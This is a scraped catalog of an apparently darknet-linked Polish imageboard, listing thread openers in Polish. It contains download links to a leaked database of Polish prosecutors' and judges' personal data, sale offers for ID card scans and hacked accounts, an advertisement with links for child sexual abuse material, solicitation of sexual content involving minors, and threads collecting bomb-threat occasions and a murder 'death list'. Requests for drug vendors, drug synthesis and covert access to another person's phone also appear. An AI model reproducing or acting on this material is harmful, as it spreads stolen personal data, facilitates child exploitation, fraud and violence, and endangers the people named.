[ Home / Boards / Banlist / Search / Login / Tor mirror / Overboard / Create / Wiki (BETA) ]

Каталог (/poland/)

Sort by: Image size:
R: 0 / I: 0 / P: 1

RZYGI Z DUPY

R: 23 / I: 0 / P: 1

jak tam stulejarze? dalej udajecie gangsterke?

R: 206 / I: 24 / P: 1

Wyciek prokuratorów, sędziów i innych

wyciek jest na stronie https://breakingin.to/topic/1162-kssipgovpl-openids/

trzeba założyć konto i dodać komentarz

w bazie znajdują się imiona, nazwiska, emaile, hashe haseł i numery telefonów

oryginalny link https://anonfile.com/Pcoc53l8oc/kssip.gov.pl_7z

backup https://share.dmca.gripe/U4hzzmXqJk8kvby2.zip

backup http://bcloud2suoza3ybr.onion/d1/URI:CHK:v3vbjjw6vqdtlrjsbvslphpw4y:ko7b7bfqbw4r2h73tfxd3vtgydx74tf5s53ubxxinlefrqbsupla:3:10:5022237/kssip.gov.pl.zip

R: 1 / I: 1 / P: 1

Siema, jestem nowy w darkwebie. Wprowadzi mnie ktoś? Zdjęcie dla uwagi.

R: 1 / I: 1 / P: 1

Tor

Mozna prosic linka do polskiej cebulki i darkentu tylko te aktualne linki

R: 0 / I: 0 / P: 1

SIM

W jaki fajny sposb mozna wykorzystac karty na slupow ? Oprocz samej sprzedazy kart

R: 2 / I: 0 / P: 1

Drodzy wyjebkowicze, dajcie 1,50 dolara bo jestem w ogromnej potrzebie i tylko wy mnie możecie uratować 1CKA3FRwt7TsEFdGmdwiDqHQ8ANoKXXSQ5 rzecz jasna w bitcoin

R: 144 / I: 1 / P: 1

Nowy fox

NOWY WYMIAR FOXA - POLIN - MOCNE AKCJE

deska /polin/, ten sam serwer

https://lolifox.cc/polin/

http://wn3ghyuon5eaqyxi7yauald3d53gsxrkanzpu2qdyc54vobif2qutsid.onion/polin/

zalety ponad poprzednią edycję (poland)

-spam jędrzejczaków i martyn będzie kasowany. na /poland/ jest nawet sprzed wielu dni i tygodni

-koniec zrzucania ważnych tematów

-nieładne obrazki kasowane

-reklamy honeypotów kasowane

-wysoka jakość

R: 0 / I: 0 / P: 1

Książka o hakerach

Czołem,

Piszę książkę o hacking, hakerach i polskiej społeczności w darknecie. Szukam odważnych ludzi, którzy - anonimowo - opowiedzą mi o swoich doświadczeniach. O hackingu panuje wiele krzywdzących mitów, portale od czasu do czasu je powielają, nie sięgając do źródeł i nie pytając zainteresowanych. Ja chcę zapytać: o początki, pierwsze i kolejne doświadczenia, ale też wyznawane wartości, podejście do spraw i świata.

Nie jestem "podstawiony", nie jestem z KGP :)

Moje książki można sprawdzić, wpisując w wyszukiwarkę hasło: "Ludzie i gady".

Zachęcam i zapraszam do kontaktu: [email protected]

Czekam i pozdrawiam :)

MS

R: 9 / I: 1 / P: 1

Czuję smród!

to z mojej dupy wystaje baton

R: 5 / I: 0 / P: 1

Temat o polskich db

Witam, proszę o oznaczenie tematu o wyciekach z polskich stron internetowych (cyfrowe.pl itd.). Waluta watykanska wynagradzam!

R: 1 / I: 0 / P: 1

New cp files 2020.

fathers.mothers.daughters.the boys.

new group sex with daughters.

rape. piss.

5-13 years.

links

https://m17.ca/2RWQHc

https://m17.ca/2RWQHc

R: 0 / I: 0 / P: 1

chuj wam w dupe "D

Patrz topik

R: 100 / I: 2 / P: 1

TOR MU NIE POMÓGŁ

38-letni mężczyzna ze Stalowej Woli odpowie za nawoływanie do zbrodni wobec członków i sympatyków jednej z partii politycznych oraz publiczne znieważenie prezydenta RP. Wpisy zamieszczał na jednym z portali internetowych. Grozi mu do 5 lat więzienia.

Jak poinformowała w piątek rzeczniczka Komendy Wojewódzkiej Policji w Rzeszowie nadkom. Marta Tabasz-Rygiel zawiadomienie w sprawie nawoływania do popełnienia zbrodni stalowowolska policja przyjęła w kwietniu tego roku.

Sprawca na jednym z portali internetowych umieścił wpisy nawołujące do zabójstwa członków jednego z ugrupowań. Ustalenie tożsamości autora wpisów nie było proste, bowiem wykorzystywał on zaawansowane narzędzia maskujące tożsamość. W sprawę zaangażowali się eksperci z Wydziału do walki z Cyberprzestępczością Komendy Wojewódzkiej Policji w Rzeszowie

– wyjawiła rzeczniczka.

Kolejne wpisy, tym razem znieważające prezydenta RP i innych polityków, pojawiły się 13 lipca. Wszczęte postępowanie wykazało, że autorem wpisów tych z kwietnia i lipcowych może być ta sama osoba. Analiza m.in. śladów cyfrowych pozostawionych przez sprawcę, pozwoliła ustalić, że autorem komentarzy jest 38-letni mieszkaniec Stalowej Woli. Mężczyzna został zatrzymany.

Postawiono mu siedem zarzutów, w tym publicznego znieważenia prezydenta Rzeczypospolitej Polskiej, publicznego nawoływania do popełnienia zbrodni oraz stosowania bezprawnej groźby wobec grupy osób z powodu jej przynależności politycznej

– przekazała nadkom. Tabasz-Rygiel.

Mężczyzna przyznał się do popełnienia zarzucanych mu czynów i złożył wyjaśnienia.

Podczas przeszukania funkcjonariusze zabezpieczyli telefony komórkowe, karty i laptopy, które prawdopodobnie były wykorzystane do zamieszczania komentarzy.Za zarzucane podejrzanemu czyny Kodeks Karny przewiduje do 5 lat pozbawienia wolności. Prokuratura, na wniosek policji, zastosowała wobec podejrzanego dozór policyjny i zakaz opuszczania kraju.

R: 7 / I: 0 / P: 2

wyszukiwanie po blachach

Siema, pisze do was z pytaniem, czy znacie jakis sposob, zeby wyszukac po blachach wlasciciela auta? Kreci mi sie od paru dni wokol dzialki pod Lodzia jakis typ, staje na poboczu, pali szluga, gada przez fona, 5-10 minut i jedzie dalej. Ch*j wie o co chodzi. Moze jest jakas stronka w darknecie albo ktos ma jakies dojscie, czy cos. Dzieki za odp.

R: 1 / I: 0 / P: 2

Skany dowodów do sprzedania

Oferuje blisko 9 tys skanów dowodów osobistych (PRZÓD I TYŁ)

Nie było nic na te dowody działane.

Nie są kradzione.

Wszystkie aktualne.

1. 40 zł za sztukę.

2. 45 zł za sztukę z dodatkowymi informacjami:

- nazwisko rodowe mamy

- stan cywilny

- dane zakładu pracy

- nr telefonu

- oraz pozostałe potrzebne

Pisz na maila:

Thomas Anderson

[email protected]

SZYFRUJ!

—–BEGIN PGP PUBLIC KEY BLOCK—–

mQENBF9O1ycBCADRbWm28cho3qOZyTU7MW6d4rVp5jXLJ8c+ZZDS/xrzk+NWqe24

OFPym7lu6d1xcIdfetXIE8/LokyLUhjXvCGWd/c2hJdKf7oLtN7jFkXegCqH1+FZ

BfFVkBD7sJjwZUE6TnFmfDqSNM93Q+xvn3/Cb29OVLUrnriOsvPzajz1Ql2hpqf7

oRo4WjIap0P8wWXgSdpHTDm1Yr9wi1MjgKkPO3P+xyoae1QONcKMCqMOl1J94Gbf

VrUZV3FPTyCj8Khi6fFiPK6nAvw4CoUwCoj2+X9ZEr9VnIBa+STx+lWCfmMmTDaf

9Z5YJOase4zjPmNbcg1hWZW3EobY8me5k3/pABEBAAG0KFRob21hcyBBbmRlcnNv

biA8Yml6bmVzLW5ldEBzZWNtYWlsLnBybz6JAU4EEwEKADgWIQT1u+bVs3TfVT6A

w77chIiw4EXHjQUCX07XJwIbAwULCQgHAgYVCgkICwIEFgIDAQIeAQIXgAAKCRDc

hIiw4EXHjakOCACb4Mq35CFvyaozWvWfn4U9rigM3BXn5q5sadfwJ03saMLX1KVo

j3/iHOoIwWJMWM8QVRkpsK6tgc/k5rue7IAYQ2RcoKPQjlCwdJaW5DSD/R/7MZCs

1/K7ol7ybt0E+DTMEyqAQkRtz4BWegUj9r3scza8Dqv6Cs6fpOQgRhn3raVqiov0

dyOf+G9MZGfUNF6+A/Nib7LKZUZD1rhJXutghBJP3LqNK5YuS5nnaho5nLNYdYHc

erF5+ZOZiZAkbs+KtaNaapMIZG+dRA5xh8R1QyZFQQnQF0JN26ivoptnEOCerC0q

rr2ffJ89aGg1UEBtMdDSd874hkumIZi09y6DuQENBF9O1ycBCADJJLfDLgdd55Pk

RiYQ9YV8tB+XfyzxGsBis7KZpT6umkBjaH6yCW/1Gvh3+B18M7k5sUk7zGi5QleY

hj3ipBvJhWOUXFeoMBvjhY/wMAgnXN2bgk+ls6R4R3HhgtpO7+T4o7upi3CAZkFk

fbNQBCYTgdS46HfQWYUus1/mX569nWBGM+Dw8M8R0Hx5AgzeAdrMToMICP7yednA

DxJyS1ZBPJpnRb3edapztPdvxApWu9obB+IDBih0SEoVK/zWVyqXg6GbBfp7uFPb

+Xfbk76xS+fHgubH+ly8SvjTVD8vjuQYT0wZIm8P4nu1RCU/g3HNTH3cOdOtEPSb

PFJXsMGjABEBAAGJATYEGAEKACAWIQT1u+bVs3TfVT6Aw77chIiw4EXHjQUCX07X

JwIbDAAKCRDchIiw4EXHjYx3B/42ry4cYxms//KM2LhS24krPskF/Plag0vvgjVf

7Cvt2FGnWu/3UPiY8puGsb05lNkM6eaD8jGlMM7yguQadlAKvtiDdL2To15x4A9i

Qgh4US+lW6AiXC/+gkqH3facHwkKwAHlAQ5q4nhsjJI4rpyFbf/iGVTdRAV6g1Zj

GRM8Ay1xf4pC5yqiLebdF/NgTlgcGt/IFV+vfm4HtetYjGBvtIMV1IkGb7UqAznI

p7dJfwMtIQZvnQWpWTYY77CzeJeP1QCejxiDlnPGbkyeoLKwETlanZZmxx0NU++M

nBn9KtHzDp1xS9YnGUgeIqW9dMH8OtDmfi95YRqYh70TsJwI

=elJe

—–END PGP PUBLIC KEY BLOCK—–

R: 0 / I: 0 / P: 2

Nie kojarzy ktoś wycieku danych z rządowej bazy Brazylii? Potrzebuję kogoś sprawdzić.

R: 2 / I: 0 / P: 2

Sprzedam skany/zdjęcia

Witam mam na sprzedaż skany zdjęcia Dowodów nowe i stare serie. cena 40zł/szt. Dowody pochodzą z mojej bazy nie natrafisz na duble.

[email protected]

Zapraszam do kontaktu

R: 2 / I: 0 / P: 2

Kupie włoskie numery telefonów

kontakt wickr me:N1GHM4r36

R: 10 / I: 0 / P: 2

na chuj jest to forum jak nie pisze tu nikt oprocz 2 debili udajacych hakerow i przestepcow, vegety i 2 trolli z ktorych jeden udaje policjanta?

R: 26 / I: 0 / P: 2

PRACA WRE

Ostro działamy w KGP!

R: 1 / I: 0 / P: 2

Forum jakies

Swego czasu byłem na forum, kompletnie nie pamiętam nazwy. Zielone "tło", jacyś ludzie sprzedawali dumpy ze stron internetowych. Model pisania postów taki sam jak na lolifoxie. Z góry dziękuję za pomoc :D

R: 1 / I: 0 / P: 2

Mystery

http://ad10.pl/s/dark.php

R: 4 / I: 2 / P: 2

POJEBANE GORE XD

R: 1 / I: 0 / P: 2

zesralem sie rzygami fekalnymi z dupy

R: 0 / I: 0 / P: 2

aa

Witam mam na sprzedaż skany zdjęcia Dowodów nowe i stare serie. cena 40zł/szt. Dowody pochodzą z mojej bazy nie natrafisz na duble.

[email protected]

Zapraszam do kontaktu

R: 96 / I: 6 / P: 2

czy sa jakies fajne strony na darknecie dla milosnikow contentu jaka oferuja np teengallery.com albo śp. primejb ? najlepiej miejsce gdzie mozna wymieniac i dyskutowac z innymi o dziewczynach 15+

R: 11 / I: 5 / P: 2

milicyjnei kurwy przestaniesz się bac będziesz się z niei śmiać

Komendant CBŚP: nie da się nadążyć za przestępcami w rytmie ośmiogodzinnej służby

Mamy tę możliwość, że dobieramy ludzi, którzy mają już ogromne doświadczenie, które zdobywali w jednostkach terenowych. Staramy się wyłapywać, wynajdywać i współpracować z tymi najlepszymi, za co jesteśmy bardzo wdzięczni Komendom Wojewódzkim i Komendzie Stołecznej Policji.

https://www.portalsamorzadowy.pl/polityka-i-spoleczenstwo/komendant-cbsp-nie-da-sie-nadazyc-za-przestepcami-w-rytmie-osmiogodzinnej-sluzby,202231.html

R: 13 / I: 0 / P: 3

Good day.

Since I don't have time to moderate this board (sorry but I'm working). I can transfer the moderator's rights to someone else. I see you have created a new board >>>/polin/. Are you trust to the board moderator /polin/?

R: 1 / I: 0 / P: 3

http://cutiegarden.wapo.mobi

http://cutiegarden.wapo.mobi

R: 0 / I: 0 / P: 3

potrzebuję wynająć nieruchomość na dowód kolekcjonerski, gdzie zakupie dowód najlepszej jakości, na co zwracać uwagę, czy posługiwać się prawdziwymi danymi wpisanymi w dowód kolekcjonerski a jeśli tak to gdzie najprościej je zdobyć

R: 8 / I: 0 / P: 3

nowe wikilekas wycieklo

R: 7 / I: 1 / P: 3

kupie konta na pepper

Potrzsbuje kupic 400 kont na pepper.pl

R: 3 / I: 0 / P: 3

https://www.strawpoll.me/20759961/

ankieta z kara

R: 1 / I: 0 / P: 3

zalozmy czysto teoretycznie ze mam kradziony telefon marki samsung

jak zrobić z niego pozytek?

R: 1 / I: 0 / P: 3

Darknet

Podlinkowalby ktos forum polskiego darkneta i cebulke ?

R: 1 / I: 0 / P: 3

Planned technical work. Today, closer to midnight Moscow time, it is possible to turn off the server to increase hard disk space.

(Maintenance rescheduled on August 14)

R: 1 / I: 0 / P: 3

Poland , New Technology

JD

R: 4 / I: 0 / P: 3

Jak mieć więcej spermy?

Podam moją sprawdzoną metodę, którą stosuję by ospermiać laski które rucham.

Założmy, że umówiłeś się z dupą na ruchanie na 16:00.

O 12:00 przygotuj sobe swoją ulubioną, najmocniej podniecającą cię pornografię

i zacznij walić sobie do niej konia. Rób to tak długo, aż dojdziesz na krawędź orgazmu,

a wtedy przerwij całkowicie. Zaczekaj aż kutas znowu zwiotczeje i odpocznij z 20-30 minut.

Potem znowu pobudź się pornografią i znowu wal sobie konia na skraj orgazmu i znowu przerwij

w ostatniej chwili i pozwól kutasowi zwiotczeć. Powtarzaj ten proces masturbacji i relaksu.

Jeśli po drodze poczujesz napięcie w jądrach, taką jakby ciasność czy prawie lekki ból - to dobrze!

znaczy to, że jądra napełniają się mocno twoim męskim sokiem.

Jest ważne, by od ostatniego walenia konia do spuszczenia się na twoją dziewczynę

nie minęło więcej niż godzina, bo inaczej sperma zacznie być wchłaniana przed organizm.

R: 2 / I: 1 / P: 3

zrzygalem sie guwnem z dupy na ryj sobie

R: 8 / I: 0 / P: 3

Witam

Szukam osoby która nauczy mnie hakować

R: 11 / I: 1 / P: 3

w zamian za wprowadzenie wymogu kart SIM na polecenie policji Białek jest teraz zapraszany do pisowskiej telewizji

w zamian za to dostał również bezkarność przy swoich innych "biznesach". jakich? zapytajcie pana Łukasza

https://www.wykop.pl/wpis/50529323/mihau-jako-ekspert-da-bezpieczenstwa-danych-osobow/

R: 1 / I: 0 / P: 3

Anonimowy

Jest tu ktos kto zna sie na produkcji prochów? Glownie chodzi mi o mefe/mdma

Jak macie jakies strony powiązane to dawac w kom

R: 2 / I: 0 / P: 4

LASkA MI SIE PODOBA

Sluchac kurwa, kuzynke mam, 10 lat starsza, dobra suka strasznie,

da rade jej nwm, jakos foty wykraść z tela bezdotykowo? czy cos?

R: 1 / I: 0 / P: 4

CZO TAM KURWY TO JA SZOP XD BECZULKA IKSDE

R: 12 / I: 2 / P: 4

karachuj = policyjny honeypot

█▬█ █ ▀█▀ policja chwali się że przegląda karachuj i na nim postuje █▬█ █ ▀█▀

https://karachan.org/b/res/20206069.html

https://karachan.org/b/res/20206069.html

https://karachan.org/b/res/20206069.html

https://karachan.org/b/res/20206069.html

https://karachan.org/b/res/20206069.html

█▬█ █ ▀█▀ policja chwali się że przegląda karachuj i na nim postuje █▬█ █ ▀█▀

R: 5 / I: 0 / P: 4

Tor mu nie pomogl

Tor is danger

R: 8 / I: 0 / P: 4

Napisałem do admina lolifoxa o usunięcie deski /poland/

R: 19 / I: 0 / P: 4

Jest tu ktoś na tej pustej nitce?

R: 3 / I: 0 / P: 4

To są dziewczynki o których ruchaniu tu piszecie gdy was czytają

R: 5 / I: 0 / P: 4

Samochód wjechał w grupę ludzi w centrum Berlina. Siedem osób rannych, kilka ciężko

Szaleniec wjechał rozpędzonym samochodem na molo w Sopocie

R: 11 / I: 0 / P: 4

Nk opowie coś więcej o tej Julce Liecau

R: 97 / I: 33 / P: 4

Lista śmierci

Postujcie osoby które zostaną w niedługim czasie brutalnie zamordowane przez nieznanych sprawców. Opisujcie też sposób w jaki to nastąpi.

R: 59 / I: 0 / P: 4

Gdzie jest Łukasz?

https://serwisy.gazetaprawna.pl/nowe-technologie/artykuly/1389774,krzysztof-lenczewski-biuro-do-walki-z-cyberprzestepczoscia-kgp.html

>Podstawowym wyzwaniem jest znalezienie sposobu na opanowanie darknetu. Wymaga to wdrożenia całkowicie nowych metod pracy policji i skorzystania ze specjalistów zatrudnionych wewnątrz policji, którym powinno się zapewnić warunki zarobkowe konkurencyjne względem sektora prywatnego.

>Nasze metody działania i wykorzystywane narzędzia nie są oparte na standardowych schematach działania policyjnego. Ale szczegółów nie mogę ujawniać.

>Nasze biuro działa od 1 grudnia 2016 r., a zatrudnieni w nim specjaliści stanowią coraz skuteczniejszą zaporę i odpowiedź na przestępczość wykorzystującą najnowsze zdobycze technologii. Nasze metody działania i wykorzystywane narzędzia nie są oparte na standardowych schematach działania policyjnego. Ale szczegółów nie mogę ujawniać.

Ralts Administrator 1,953 136 2016-10-05

krang Gr5 782 130 2016-10-02

Heisenberg1978 Profiler 404 59 2016-10-04

gorilla_glue Cebulkowicz 324 23 2016-12-02

Krawiec Gr5 104 16 2016-12-10

Wies Spokojna Cebulkowicz 38 7 2016-12-09

Wacpanna Cebulkowicz 323 39 2016-11-15

kubuspuchatek Gr5 102 37 2016-10-24

porobionyjohny Cebulkowicz 232 7 2016-11-26

eternal Cebulkowicz 44 6 2016-11-12

HarryKrishna Zbanowany 111 12 2016-12-15

R: 6 / I: 0 / P: 4

as russian i am so sorry for awful period of communist occupation and we'll pay reparations you in future

R: 11 / I: 0 / P: 4

https://sellix.io/2050corp

konta wykop

konta nordvpn

konta twitter

TANIO

TANIO W CHUJ

TANIO JAK U TWOJEJ LOKALNEJ KURWY Z WYKOPU

R: 8 / I: 0 / P: 4

CODZIENNIE PRZYPOMNIENIE

/polin/ to deska zalozona przez sluzby

R: 12 / I: 0 / P: 4

jakiego fona kupic zeby byc nie do namierzenia? jakas nokia 8210 bedzie dobra czy cos lepszego polecacie

R: 11 / I: 0 / P: 5

PIerwszy raz tutaj

Siemanko. Pierwszy raz jestem w tej części internetu. Jakieś porady jak szybko się zaadoptować tu i zacząć być częścią tej społeczności?

R: 6 / I: 0 / P: 5

co do kurwy

https://sellix.io/2050corp

Ktos sprzedaje konta do wykopu. Ale i tak nie zamuwicie bo nie umiecie w bitcoina.

R: 7 / I: 0 / P: 5

Moje pierwsze doświadczenia z masturbacją

Moje pierwsze doświadczenia z masturbacją z inną osobą miały miejsce gdzieś chyba na początku szkoły średniej. Zaprzyjaźniłem się wtedy blisko z jednym z kolegów imieniem Bartek.

Bartek był cichym, małomównym, nieśmiałym i zamkniętym w sobie okularnikiem. Zbliżyły nas do siebie wspólne zainteresowania - na razie te "przyzwoite" ;-). Obaj interesowaliśmy się modelarstwem, samolotami i tym podobnymi rzeczami i często potrafiliśmy przegadać całe godziny na interesujące nas tematy lub spędzić je przy wykonywaniu jakiegoś modelu.

Z czasem w naszych rozmowach pojawiły się jako temat również "te" sprawy, ale początkowo dość aluzyjnie. Jak już wspomniałem Bartek był nieśmiały i czułem się początkowo skrępowany myślą o zadawaniu mu bardzo intymnych pytań. Zacząłem więc dość nieśmiało wplatać w nasze rozmowy jakieś żarty lub opowiadać zasłyszane historie… Stopniowo byliśmy w stosunku do siebie coraz bardziej otwarci ale tylko w sferze słownej. Wszystko zmieniło się pewnego dnia…

Bartek miał starszą siostrę, która studiowała biologię i z tego powodu któregoś dnia przyniosła do domu mikroskop. Kiedy przyszedłem jak zwykle do Bartka w pewnym momencie zwróciłem uwagę stojący na szafie przyrząd. Nasze zainteresowanie nim miało początkowo "czysto naukowy" charakter - i polegało na obejrzeniu kilku testowych preparatów.

I wtedy coś mnie podkusiło…

Postanowiłem "podpuścić" Bartka i jakby od niechcenia zaproponowałem abyśmy obejrzeli pod mikroskopem naszą spermę. Jak się domyślacie Bartka w pierwszej chwili "zamurowało". Zanim minęło jego oszołomienie poleciłem mu przynieść z kuchni dwa kubki. Siląc się na spokój i pewność siebie wziąłem jeden kubek, rozpiąłem rozporek, wyciągnąłem "swojego" i zacząłem się onanizować. Bartek - cały czerwony - patrzył zaciekawiony na to co robię. Byłem bardzo podniecony więc minęło niewiele czasu zanim doszedłem do finału. Szybko zrobiliśmy preparat i włożyliśmy go pod mikroskop. Obraz szczerze mówiąc trochę mnie rozczarował: był trochę zamazany i niewiele było widać ale niewątpliwie COŚ się na nim ruszało co napawało mnie "słuszną dumą" ;-).

Przyszła kolej na Bartka. Widać było po nim, że wstydzi się okropnie, ale teraz nie miał już wyjścia. Płonąc rumieńcem po czubki uszu i głośno sapiąc wyciągnął "swojego" z gimnastycznych spodenek. Patrzył na niego przez chwilę jakby z zawstydzeniem i nie bardzo wiedząc co dalej zrobić (potem zwierzył mi się, że dotąd rzadko "trzepał konia" i to zawsze pod prysznicem…) - jednak po kilku słowach zachęty z mojej strony zaczął się powoli onanizować.

Początkowo-zapewne wskutek speszenia - "laska" w ogóle nie chciała mu stanąć! Dopiero po dłuższej chwili Bartek odprężył się i jego "laska" przyjęła "normalne" w tych okolicznościach kształty ;-).

"Efekt końcowy" był dość nieoczekiwany i zabawny. W podnieceniu zapomniał bowiem całkowicie o kubku, do którego miał zebrać "produkt" do zrobienia preparatu! Bartek sprawiał wrażenie, że utracił zupełnie kontrolę nad swoimi reakcjami. Bełkotał coś w spazmie rozkoszy i spuścił się na podłogę i spodenki… Tak więc z oglądania jego spermy nic nie wyszło :-(

Ponieważ uświadomiliśmy sobie, że jest już późno szybko zabraliśmy się do sprzątania efektów naszych działań. Nigdy później nie próbowaliśmy już robić tego razem.

Marek

R: 19 / I: 0 / P: 5

Tor mu nie pomógł

Policjanci z Przeworska zatrzymali 45-latka podejrzanego o składanie przez internet propozycji seksualnych 14-latce. Pedofila pomógł złapać mieszkaniec Podkarpacia, który udawał na internetowym czacie dziewczynkę.

Jak podała w poniedziałek podkarpacka policja, kilka dni temu funkcjonariusze wydziału kryminalnego przeworskiej komendy policji zostali powiadomieni przez mieszkańca regionu, że namierzył w sieci pedofila.

Wyjaśnił, że zalogował się na czacie jako 14-latka i nawiązał z nim kontakt mężczyzna, który zaczął składać „dziewczynce” propozycje seksualne i dążył do spotkania.

Spotkanie zostało umówione w rejonie dworca PKP przy ul. Lubomirskich w Przeworsku, dlatego mężczyzna powiadomił o całej sytuacji przeworskich funkcjonariuszy, którzy przygotowali zasadzkę. Zamiast dziewczynki w wyznaczonym miejscu czekali policjanci. 45-letni mieszkaniec powiatu brzozowskiego został zatrzymany i przewieziony do policyjnego aresztu

– napisała policja na stronie internetowej.

Mężczyzna usłyszał zarzuty składania propozycji seksualnych nieletniej, a prokurator zdecydował objąć go policyjnym dozorem. O jego dalszym losie zdecyduje sąd.

Policja przy tej sprawie apeluje do rodziców, aby kontrolowali treści przeglądane w internecie przez swoje dzieci i uświadamiali im, jakie zagrożenia mogą tam na nich czyhać.

R: 23 / I: 1 / P: 5

"Bojownicy"

"Bojownicy" lolifox…

Bo się wszystkiego bojo xDDDDDDD

R: 46 / I: 6 / P: 5

WERYFIKACJA LOLIFOKSÓW

Hejka, cybergeniusze!

Czy jest tu z nami JEDEN użytkownik Whonixa na tej gimbusowskiej desce?

Jeśli tak, to ten jeden ktoś będzie w stanie podać dzisiejszą wartość wynikową dla komendy weryfikacyjnej Whonixa:

echo "$(uname -a)$(date +'%d/%m/%Y')" | md5sum

Wynikowy hash zaczyna się od "a1" a kończy na "c7".

R: 6 / I: 0 / P: 5

ale tu hujem wieje

R: 0 / I: 0 / P: 5

Orban o polskim premierze: To on wygenerował miliardy euro dla Polaków

Viktor Orban: "Powód, dla którego odnieśliśmy sukces, to ten, że Mateusz Morawiecki był liderem Grupy Wyszehradzkiej, był liderem naszego zespołu. Mateusz nigdy tego nie powie, ale taka jest prawda, że to on wygenerował miliardy euro dla Polaków"

- Udało nam się uzyskać więcej pieniędzy dla biedniejszych regionów – poinformował po zakończonym szczycie Unii Europejskiej premier Mateusz Morawiecki. - Mateusz po prostu poszedł do pokoju i wyszedł z 600 mln euro. Tak po prostu. Dostał tyle pieniędzy dla biednych regionów - powiedział o negocjacjach premier Węgier, Viktor Orban.

Mateusz Morawiecki przekazał, że znacząca ilość pieniędzy zostanie przeznaczona dla czterech regionów Węgier, a w kontekście Polski jest to pięć regionów z szesnastu.

"Te ostatnich kilka godzin. Ostatnich kilka rund tego maratonu było bardzo owocnych, bo osiągnęliśmy dodatkowe fundusze"

– podkreślił Morawiecki.

Premier Węgier opowiedział kolei o tym jak wyglądały te negocjacje.

"Mateusz po prostu poszedł do pokoju i wyszedł z 600 mln euro. Tak po prostu. Dostał tyle pieniędzy dla biednych regionów"

– relacjonował Orban.

Zaznaczył, że negocjacje mają pewne tajemnice.

"Widziałem, że po prostu wszedł do pokoju i wyszedł z tego pokoju i miał 600 mln euro dodatkowo. Także wykonał wspaniałą pracę"

– zauważył premier Orban.

Porozumienie zawarte na szczycie UE we wtorek nad ranem zakłada powołanie funduszu odbudowy o wartości 750 mld euro. Z tej sumy 390 mld euro będą stanowiły granty, a 360 mld euro pożyczki.

R: 3 / I: 0 / P: 5

Sławomir Nowak i Dariusz Zawadka aresztowani

Dziś rano Prokuratura Okręgowa w Warszawie poinformowała o zatrzymaniu byłego ministra transportu, Sławomira N. - Został dzisiaj zatrzymany w związku z podejrzeniem korupcji, kierowania zorganizowaną grupą przestępczą i prania brudnych pieniędzy - powiedziała Mirosława Chyr, rzeczniczka warszawskiej prokuratury.

Jak informuje prokuratura, zatrzymanie N. to efekt międzynarodowego śledztwa prowadzonego przez wspólny zespół prokuratorów z Polski i Ukrainy, a także funkcjonariuszy CBA oraz ukraińskiej służby antyantykorupcyjnej NABU.

- Zespół ten powstał z uwagi na transgraniczny charakter działalności zorganizowanej grupy przestępczej

- zaznacza Chyr. Dodaje, że oprócz Sławomira N. zostały zatrzymane jeszcze dwie osoby.

Gdańskie @CBAgovPL zatrzymało b. posła na Sejm RP, b. min. transportu, byłego szefa ukraińskiej Państwowej Służby Dróg Samochodowych (Ukravtodor) Sławomira N., a także Dariusza Z., b. dowódcę JW „GROM” i przedsiębiorcę z Gdańska Jacka P. Szczegóły wkrótce!

— Stanisław Żaryn (@StZaryn) July 20, 2020

Jak podaje CBA, pozostali zatrzymani to Dariusz Z., były dowódca JW „GROM” i gdański biznesmen Jacek P.

Po doprowadzeniu do Prokuratury Okręgowej w Warszawie Sławomir N. ma usłyszeć sześć zarzutów dotyczących okresu, gdy kierował ukraińską Państwową Służbą Dróg Samochodowych – Ukrawtodor.

R: 49 / I: 6 / P: 5

jezeli nie wygladasz jak ten facet

nie masz 190cm wzrostu

nie zarabiasz 100k miesiecznie

NIGDY NIE ZARUCHASZ

chyba ze zaplacisz dziwce z roksy pieniedzmi ktore mama dala ci na prawo jazdy

R: 2 / I: 0 / P: 5

tu wstawiamy memy z śmieciem generałem karolem molendą

Pamiętai polski kontrwywiad wojskowy może Ci kutasa obciągnąć i cieszyć się z spermy

R: 0 / I: 0 / P: 5

R: 3 / I: 0 / P: 5

Witam kochaniutcy. Poklika ktoś?

R: 2 / I: 0 / P: 5

KAKTUS W DUPIE XDDDDDDDDDDD

R: 121 / I: 5 / P: 5

okazje do alarmów 2

jakie są dobre okazje do alarmów bombowych? musimy zrobić listę

poprzedni temat spadł bo przekroczył ilość bumpów. poprzedni: 4802.html

R: 24 / I: 0 / P: 6

Downloads movies for free= piracy, hurts the movie industry

Downloads CP for free= somehow supports the CP "industry"

ciekawe

R: 29 / I: 3 / P: 6

Straszne smieszne Memy z Zycia Lolifox.cc

Tu je wszystkie znajdziesz:

https://saiyajinz.sytes.net/memy/

R: 19 / I: 0 / P: 6

śmieciak Karol Molenda dzisiaj założył (albo ktoś mu założył) konto na twitterze https://mobile.twitter.com/MolendaKarol

są postępy w nauce korzystania z komputera

R: 14 / I: 1 / P: 6

Czytając niedawno specyfikację HTML, natrafiłem na ciekawe działanie atrybutu marginwidth/marginheight.

R: 114 / I: 1 / P: 6

KWASY

Poleccie jakiegośvendora co sprzedaje lsd

Żadne rc najlepiej 100 % analog

Zawsze ziomek mi ogarniał temat teraż w Angli do pracy pojechał

R: 1 / I: 0 / P: 6

BOLAL MNIE BRZUCH ALE SIE WYSRALEM I JUZ MNIE NIE BOLI

R: 2 / I: 0 / P: 6

Uzależnienie od skarpetek

Funkcjonariusze Służby Więziennej udaremnili przemyt na teren Zakładu Karnego w Siedlcach skarpet nasączonych substancją odurzającą - przekazał rzecznik prasowy dyrektora okręgowego Służby Więziennej w Warszawie por. Zbigniew Śpiewak.

Z informacji przekazanych przez SW wynika, że podejrzaną paczkę oznaczył w trakcie kontroli pies. Pakunek znajdował się razem z innymi paczkami dla osób odbywających karę pozbawienia wolności. Jak się okazało, wewnątrz znajdowały się skarpetki nasączone substancjami odurzającymi.

"Podczas standardowej kontroli paczek higieniczno-odzieżowych dostarczanych do zakładu karnego, pies specjalny o imieniu Nola wyjątkowo zainteresował się jedną z nich. Po jej rozpakowaniu nie znaleziono nic podejrzanego, jednak funkcjonariusze nie dali za wygraną"

- poinformował rzecznik prasowy dyrektora okręgowego Służby Więziennej w Warszawie por. Zbigniew Śpiewak.

Śpiewak dodał, że po przeprowadzeniu testów na obecność substancji odurzających stwierdzono obecność alkaloidów. "Okazało się, że skarpetki znajdujące się w paczce były nasączone narkotykami" - zaznaczył Śpiewak.

Rzecznik podkreślił, że wykrycie paczki to w dużej mierze zasługa Noli, która służbę w zakładzie karnym pełni zaledwie od kilku miesięcy.

